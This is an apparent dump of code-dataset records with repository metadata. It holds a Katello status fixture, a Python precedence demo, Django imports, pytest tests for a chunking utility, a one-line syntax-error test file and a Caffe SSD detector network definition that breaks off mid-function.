"duration_ms": "0"}, }, "katello": { "version": "3.14.0.1", "timeUTC": "2020-02-18 19:52:16 UTC", "services": { "pulp": {"status": "ok", "duration_ms": "31"}, "pulp_auth": {"status": "ok", "duration_ms": "16"}, "candlepin": {"status": "ok", "duration_ms": "10"}, "candlepin_auth": {"status": "ok", "duration_ms": "12"}, "foreman_tasks": {"status": "ok", "duration_ms": "3"}, "katello_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, "candlepin_events": { "status": "ok", "message": "0 Processed, 0 Failed", "duration_ms": "0", }, }, "status": "ok", }, } } )

68.250696

1,055

0.547098

2,673

24,502

4.941265

0.14104

0.055118

0.066626

0.035433

0.962523

0.95374

0.950409

0.941323

0

0.046085

0.343768

24,502

358

1,056

68.441341

0.775359

0

0.707042

0

0.135211

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false

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1

0

1

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1

0

null

0

9

62cd399ed2ee690e4c441e0a6e729192b7471332

648

py

Python

precedence.py

theGreenJedi/practicepy

330da97b0c79c3c8792ebb4166ecf2609545e127

[ "MIT" ]

null

precedence.py

theGreenJedi/practicepy

330da97b0c79c3c8792ebb4166ecf2609545e127

[ "MIT" ]

null

precedence.py

theGreenJedi/practicepy

330da97b0c79c3c8792ebb4166ecf2609545e127

[ "MIT" ]

null

a = 2 b = 4 c = 8 print( '\nDefault Order:\t' , a , '*' , c ,'+' , b , '=' , a * c + b ) print( 'Forced Order:\t' , a , '* (' , c ,'+' , b , ') =' , a * ( c + b ) ) print( '\nDefault Order:\t' , c , '//' , b , '-' , a , '=' , c // b - a ) print( 'Forced Order:\t' , c , '// (' , b ,'-' ,a , ') =' , c // ( b - a ) ) print( '\nDefault Order:\t' , c , '%' , a , '+' , b , '=' , c % a + b ) print( 'Forced Order:\t' , c , '% (' , a , '+' , b , ') =' , c % ( a + b ) ) print( '\nDefault Order:\t' , c , '**' , a , '+' , b , '=' , c ** a + b ) print( 'Forced Order:\t' , c , '** (' , a , '+' , b , ') =' , c ** ( a + b ) )

38.117647

80

0.305556

87

648

2.287356

0.137931

0.241206

0.120603

0.38191

0.899497

0.839196

0.798995

0.482412

0

0.007109

0.348765

648

16

81

40.5

0.462085

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0.279365

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null

0

1

0

1

0

10

c5355b21dd4f4f1c8596499d3596cc4d68b11e26

182

py

Python

flashsale/models/__init__.py

comecsoftdev/public_python_flashsale_simple_repo

48bf2ce13e306091cb5ab60383ae475678e82605

[ "MIT" ]

1

2022-02-22T07:31:03.000Z

flashsale/models/__init__.py

comecsoftdev/public_python_flashsale_simple_repo

48bf2ce13e306091cb5ab60383ae475678e82605

[ "MIT" ]

null

flashsale/models/__init__.py

comecsoftdev/public_python_flashsale_simple_repo

48bf2ce13e306091cb5ab60383ae475678e82605

[ "MIT" ]

null

from flashsale.models import basic_data from flashsale.models import store from flashsale.models import product from flashsale.models import review from flashsale.models import push

30.333333

39

0.862637

26

182

6

0.384615

0.416667

0.608974

0.801282

0

0.10989

182

5

40

36.4

0.962963

0

1

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true

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null

1

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1

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null

0

1

0

1

0

1

0

8

c5635e0e432689b734545d19f97091d19f4c02a1

92

py

Python

my_project/my_project/offer/views/__init__.py

Govedarski/World-of-books

d270b72600a7986387a277dbe01ac8c6d747f662

[ "MIT" ]

null

my_project/my_project/offer/views/__init__.py

Govedarski/World-of-books

d270b72600a7986387a277dbe01ac8c6d747f662

[ "MIT" ]

null

my_project/my_project/offer/views/__init__.py

Govedarski/World-of-books

d270b72600a7986387a277dbe01ac8c6d747f662

[ "MIT" ]

null

from my_project.offer.views.cb_views import * from my_project.offer.views.fb_views import *

30.666667

45

0.826087

16

92

4.5

0.5

0.166667

0.361111

0.5

0.638889

0

0.086957

92

2

46

0.857143

0

1

0

true

0

1

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1

0

null

0

1

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null

0

1

0

1

0

1

0

7

c56546dbbc50b772ad5efca9285eaf64855e4895

3,272

py

Python

tests/test_py_chunk.py

movermeyer/nicedjango

c38ada1e50efb5ef0874ef063074b621579c2954

[ "MIT" ]

1

2016-10-18T18:40:45.000Z

tests/test_py_chunk.py

movermeyer/nicedjango

c38ada1e50efb5ef0874ef063074b621579c2954

[ "MIT" ]

null

tests/test_py_chunk.py

movermeyer/nicedjango

c38ada1e50efb5ef0874ef063074b621579c2954

[ "MIT" ]

1

2018-03-05T01:21:23.000Z

from nicedjango.utils.py.chunk import as_chunks, sliceable_as_chunks from nicedjango.utils.py.iter import map_attr def test_as_chunks_unsized(): iterable = iter([1, 2, 3, 4, 5, 6, 7, 8, 9]) chunks = list(as_chunks(iterable, 4)) assert [[1, 2, 3, 4], [5, 6, 7, 8], [9]] == chunks assert [1, 2, 3] == list(map_attr(chunks, 'cpos')) assert [0, 0, 0] == list(map_attr(chunks, 'csize')) assert [1, 5, 9] == list(map_attr(chunks, 'pos')) assert [4, 8, 9] == list(map_attr(chunks, 'to_pos')) assert [0, 0, 0] == list(map_attr(chunks, 'size')) assert [4, 4, 1] == list(map_attr(chunks, 'len')) def test_as_chunks_sized(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(as_chunks(iterable, 4)) assert [[1, 2, 3, 4], [5, 6, 7, 8], [9]] == chunks assert [1, 2, 3] == list(map_attr(chunks, 'cpos')) assert [3, 3, 3] == list(map_attr(chunks, 'csize')) assert [1, 5, 9] == list(map_attr(chunks, 'pos')) assert [4, 8, 9] == list(map_attr(chunks, 'to_pos')) assert [9, 9, 9] == list(map_attr(chunks, 'size')) assert [4, 4, 1] == list(map_attr(chunks, 'len')) def test_sliceable_as_chunks(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(sliceable_as_chunks(iterable, 4)) assert [[1, 2, 3, 4], [5, 6, 7, 8], [9]] == chunks assert [1, 2, 3] == list(map_attr(chunks, 'cpos')) assert [0, 0, 0] == list(map_attr(chunks, 'csize')) assert [1, 5, 9] == list(map_attr(chunks, 'pos')) assert [4, 8, 9] == list(map_attr(chunks, 'to_pos')) assert [0, 0, 0] == list(map_attr(chunks, 'size')) assert [4, 4, 1] == list(map_attr(chunks, 'len')) def test_as_chunks_chunk_value(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(as_chunks(iterable, 4, chunk_value=lambda vs: map(str, vs))) assert [['1', '2', '3', '4'], ['5', '6', '7', '8'], ['9']] == chunks def test_sliceable_as_chunks_chunk_value(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(sliceable_as_chunks(iterable, 4, chunk_value=lambda vs: map(str, vs))) assert [['1', '2', '3', '4'], ['5', '6', '7', '8'], ['9']] == chunks def test_as_chunks_key(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(as_chunks(iterable, 4, key=lambda v: v % 4 == 0)) assert [[1, 2, 3], [4], [5, 6, 7], [8], [9]] == chunks assert [1, 2, 3, 4, 5] == list(map_attr(chunks, 'cpos')) assert [3, 3, 4, 4, 5] == list(map_attr(chunks, 'csize')) assert [1, 4, 5, 8, 9] == list(map_attr(chunks, 'pos')) assert [3, 4, 7, 8, 9] == list(map_attr(chunks, 'to_pos')) assert [9, 9, 9, 9, 9] == list(map_attr(chunks, 'size')) assert [3, 1, 3, 1, 1] == list(map_attr(chunks, 'len')) def test_sliceable_as_chunks_key(): iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9] chunks = list(sliceable_as_chunks(iterable, 4, key=lambda v: v % 4 == 0)) assert [[1, 2, 3], [4], [5, 6, 7], [8], [9]] == chunks assert [1, 2, 3, 4, 5] == list(map_attr(chunks, 'cpos')) assert [0, 0, 0, 0, 0] == list(map_attr(chunks, 'csize')) assert [1, 4, 5, 8, 9] == list(map_attr(chunks, 'pos')) assert [3, 4, 7, 8, 9] == list(map_attr(chunks, 'to_pos')) assert [0, 0, 0, 0, 0] == list(map_attr(chunks, 'size')) assert [3, 1, 3, 1, 1] == list(map_attr(chunks, 'len'))

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c57465cb41977609d27640e14ff0d557ccb9c28e

7

py

Python

tests/syntax/integer_with_leading_zero_1.py

matan-h/friendly

3ab0fc6541c837271e8865e247750007acdd18fb

[ "MIT" ]

287

2019-04-08T13:18:29.000Z

2021-03-14T19:10:21.000Z

tests/syntax/integer_with_leading_zero_1.py

matan-h/friendly

3ab0fc6541c837271e8865e247750007acdd18fb

[ "MIT" ]

191

2019-04-08T14:39:18.000Z

2021-03-14T22:14:56.000Z

tests/syntax/integer_with_leading_zero_1.py

matan-h/friendly

3ab0fc6541c837271e8865e247750007acdd18fb

[ "MIT" ]

9

2019-04-08T12:54:08.000Z

2020-11-20T02:26:27.000Z

x = 01

3.5

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7

3d64bf307b2568150287b72163728212b60311b3

68,097

py

Python

remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py

UrwLee/Remo_experience

a59d5b9d6d009524672e415c77d056bc9dd88c72

[ "MIT" ]

null

remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py

UrwLee/Remo_experience

a59d5b9d6d009524672e415c77d056bc9dd88c72

[ "MIT" ]

null

remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py

UrwLee/Remo_experience

a59d5b9d6d009524672e415c77d056bc9dd88c72

[ "MIT" ]

null

# -*- coding: utf-8 -*- import os import sys import math sys.dont_write_bytecode = True import caffe from caffe import layers as L from caffe import params as P from caffe.proto import caffe_pb2 sys.path.append('../') from PyLib.LayerParam.MultiBoxLossLayerParam import * from PyLib.NetLib.ConvBNLayer import * from PyLib.NetLib.InceptionLayer import * from PyLib.NetLib.MultiScaleLayer import * from PyLib.NetLib.VggNet import VGG16_BaseNet_ChangeChannel from PyLib.NetLib.YoloNet import YoloNetPart from BaseNet import * from AddC6 import * from DetectorHeader import * from DAP_Param import * import numpy as np from solverParam import truncvalues # ############################################################################## # ------------------------------------------------------------------------------ # Final Network flag_train_withperson = True flag_train_withhand = False def Deconv(net,from_layer,num_output,group,kernel_size,stride,lr_mult,decay_mult,use_bn,use_scale,use_relu): deconv_param = { 'num_output': num_output, 'kernel_size': kernel_size, 'pad': 0, 'stride': stride, 'weight_filler': dict(type='gaussian', std=0.01), 'bias_term': False, 'group': group, } kwargs_deconv = { 'param': [dict(lr_mult=lr_mult, decay_mult=decay_mult)], 'convolution_param': deconv_param } out_layer = from_layer + "_deconv" net[out_layer] = L.Deconvolution(net[from_layer], **kwargs_deconv) base_conv_name = out_layer from_layer = out_layer # parameters for batchnorm layer. bn_kwargs = { 'param': [dict(lr_mult=0, decay_mult=0), dict(lr_mult=0, decay_mult=0), dict(lr_mult=0, decay_mult=0)], 'eps': 0.001, } sb_kwargs = { 'bias_term': True, 'param': [dict(lr_mult=lr_mult, decay_mult=0), dict(lr_mult=lr_mult, decay_mult=0)], 'filler': dict(type='constant', value=1.0), 'bias_filler': dict(type='constant', value=0.2), } if use_bn: bn_name = '{}_bn'.format(base_conv_name) net[bn_name] = L.BatchNorm(net[from_layer], in_place=True, **bn_kwargs) from_layer = bn_name if use_scale: sb_name = '{}_scale'.format(base_conv_name) net[sb_name] = L.Scale(net[from_layer], in_place=True, **sb_kwargs) from_layer = sb_name if use_relu: relu_name = '{}_relu'.format(base_conv_name) net[relu_name] = L.ReLU(net[from_layer], in_place=True) def DAPNet(net, train=True, data_layer="data", gt_label="label", \ net_width=512, net_height=288): lr_basenet = 1.0 # BaseNet use_sub_layers = (6, 7) num_channels = (144, 288) output_channels = (128, 0) channel_scale = 4 add_strs = "_recon" net = ResidualVariant_Base_A(net, data_layer=data_layer, use_sub_layers=use_sub_layers, num_channels=num_channels, output_channels=output_channels,channel_scale=channel_scale,lr=lr_basenet, decay=1, add_strs=add_strs,) if flag_train_withhand: use_bn = True from_layer = "pool1_recon" out_layer = 'conv2_hand' ConvBNUnitLayer(net, from_layer, out_layer, use_bn=use_bn, use_relu=True, num_output=32, kernel_size=3, pad=1, stride=1, use_scale=True, leaky=False, lr_mult=1, decay_mult=1) from_layer = "conv2_4_recon_relu" Deconv(net, from_layer, num_output=64, group=1, kernel_size=2, stride=2, lr_mult=1.0, decay_mult=1.0, use_bn=True, use_scale=True,use_relu=True) feature_layers = [] feature_layers.append(net["conv2_hand"]) feature_layers.append(net["conv2_4_recon_relu_deconv"]) add_layer = "featuremap0" net[add_layer] = L.Concat(*feature_layers, axis=1) lr_detnetperson = 1.0 # Add Conv6 conv6_output = Conv6_Param.get('conv6_output',[]) conv6_kernal_size = Conv6_Param.get('conv6_kernal_size',[]) out_layer = "conv3_7_recon_relu" net = addconv6(net, from_layer=out_layer, use_bn=True, conv6_output=conv6_output, \ conv6_kernal_size=conv6_kernal_size, pre_name="conv6",start_pool=True,lr_mult=lr_detnetperson, decay_mult=1,n_group=1) # Concat FM1 & FM2 & FM3 for Detection featuremap1 = ["pool1_recon","conv2_6_recon_relu"] tags = ["Down","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap1" UnifiedMultiScaleLayers(net,layers=featuremap1, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Concat FM2 featuremap2 = ["conv2_6_recon_relu","conv3_7_recon_relu"] tags = ["Down","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap2" UnifiedMultiScaleLayers(net,layers=featuremap2, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Concat FM3 c6_layer = 'conv6_{}'.format(len(Conv6_Param['conv6_output'])) featuremap3 = ["conv3_7_recon_relu",c6_layer] tags = ["Down","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap3" UnifiedMultiScaleLayers(net,layers=featuremap3, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Create SSD Header for SSD1 if flag_train_withperson: mbox_1_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_1.get('feature_layers',[]), \ num_classes=ssd_Param_1.get("num_classes",2), \ boxsizes=ssd_Param_1.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_1.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_1.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_1.get("anchor_flip",True), \ clip=ssd_Param_1.get("anchor_clip",True), \ normalizations=ssd_Param_1.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_1.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_1.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_1.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_1.get('bboxloss_use_dense_boxes',False), \ stage=1,lr_mult=lr_detnetperson) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_1.get("bboxloss_normalization",P.Loss.VALID)) mbox_1_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson':ssd_Param_1.get('flag_noperson',False), } net["mbox_1_loss"] = L.DenseBBoxLoss(*mbox_1_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_1_loss"] = L.BBoxLoss(*mbox_1_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_1_conf_reshape" net[reshape_name] = L.Reshape(mbox_1_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_1.get("num_classes",2)])) softmax_name = "mbox_1_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_1_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_1_layers[1] = net[flatten_name] elif ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_1_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_1_layers[1]) mbox_1_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_1.get("num_classes",2), 'target_labels': ssd_Param_1.get('detout_target_labels',[]), 'alias_id':ssd_Param_1.get("alias_id",0), 'conf_threshold':ssd_Param_1.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_1.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_1.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_1.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_1 = L.DenseDetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_1 = L.DetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # make Loss & Detout for SSD2 if use_ssd2_for_detection: mbox_2_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_2.get('feature_layers',[]), \ num_classes=ssd_Param_2.get("num_classes",2), \ boxsizes=ssd_Param_2.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_2.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_2.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_2.get("anchor_flip",True), \ clip=ssd_Param_2.get("anchor_clip",True), \ normalizations=ssd_Param_2.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_2.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_2.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_2.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_2.get('bboxloss_use_dense_boxes',False), \ stage=2) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_2.get("bboxloss_normalization",P.Loss.VALID)) mbox_2_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson': ssd_Param_2.get('flag_noperson', False), } net["mbox_2_loss"] = L.DenseBBoxLoss(*mbox_2_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_2_loss"] = L.BBoxLoss(*mbox_2_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_2_conf_reshape" net[reshape_name] = L.Reshape(mbox_2_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_2.get("num_classes",2)])) softmax_name = "mbox_2_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_2_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_2_layers[1] = net[flatten_name] elif ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_2_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_2_layers[1]) mbox_2_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_2.get("num_classes",2), 'target_labels': ssd_Param_2.get('detout_target_labels',[]), 'alias_id':ssd_Param_2.get("alias_id",0), 'conf_threshold':ssd_Param_2.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_2.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_2.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_2.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_2 = L.DenseDetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_2 = L.DetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # EVAL in TEST MODE if not train: det_eval_param = { 'gt_labels': eval_Param.get('eval_gt_labels',[]), 'num_classes':eval_Param.get("eval_num_classes",2), 'evaluate_difficult_gt':eval_Param.get("eval_difficult_gt",False), 'boxsize_threshold':eval_Param.get("eval_boxsize_threshold",[0,0.01,0.05,0.1,0.15,0.2,0.25]), 'iou_threshold':eval_Param.get("eval_iou_threshold",[0.9,0.75,0.5]), 'background_label_id':0, } if use_ssd2_for_detection: det_out_layers = [] if flag_train_withperson: det_out_layers.append(net['detection_out_1']) det_out_layers.append(net['detection_out_2']) name = 'det_out' net[name] = L.Concat(*det_out_layers, axis=2) net.det_accu = L.DetEval(net[name], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.det_accu = L.DetEval(net['detection_out_1'], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) return net def DAPNetVGGReduce(net, train=True, data_layer="data", gt_label="label", \ net_width=512, net_height=288): # BaseNet flag_use_dark = False if flag_use_dark: net = YoloNetPart(net, from_layer="data", use_bn=True, use_layers=5, use_sub_layers=5, final_pool=True, lr=1, decay=1)#1.47G, 13.7M else: # c = ((32,), (32,), (32, 32, 128), (64, 64, 128), (128, 128, 256))#1.74G, 19.43M # net = VGG16_BaseNet_ChangeChannel(net, "data", channels=c) channels = ((32,), (32,), (64, 32, 128), (128, 64, 128, 64, 256), (256, 128, 256, 128, 256)) strides = (True, True, True, False, False) kernels = ((3,), (3,), (3, 1, 3), (3, 1, 3, 1, 3), (3, 1, 3, 1, 3)) pool_last = (False,False,False,True,True) net = VGG16_BaseNet_ChangeChannel(net, from_layer=data_layer, channels=channels, strides=strides, kernels=kernels,freeze_layers=[], pool_last=pool_last) lr_detnetperson = 1.0 # Add Conv6 conv6_output = Conv6_Param.get('conv6_output',[]) conv6_kernal_size = Conv6_Param.get('conv6_kernal_size',[]) out_layer = "pool5" net = addconv6(net, from_layer=out_layer, use_bn=True, conv6_output=conv6_output, \ conv6_kernal_size=conv6_kernal_size, pre_name="conv6",start_pool=False,lr_mult=lr_detnetperson, decay_mult=1,n_group=1) # Concat FM1 & FM2 & FM3 for Detection featuremap1 = ["pool2","pool3"] tags = ["Down","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap1" UnifiedMultiScaleLayers(net,layers=featuremap1, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Concat FM2 featuremap2 = ["pool3","pool4"] tags = ["Down","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap2" UnifiedMultiScaleLayers(net,layers=featuremap2, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Concat FM3 c6_layer = 'conv6_{}'.format(len(Conv6_Param['conv6_output'])) featuremap3 = ["pool5",c6_layer] tags = ["Ref","Ref"] down_methods = [["MaxPool"]] out_layer = "featuremap3" UnifiedMultiScaleLayers(net,layers=featuremap3, tags=tags, unifiedlayer=out_layer, dnsampleMethod=down_methods) # Create SSD Header for SSD1 if flag_train_withperson: mbox_1_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_1.get('feature_layers',[]), \ num_classes=ssd_Param_1.get("num_classes",2), \ boxsizes=ssd_Param_1.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_1.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_1.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_1.get("anchor_flip",True), \ clip=ssd_Param_1.get("anchor_clip",True), \ 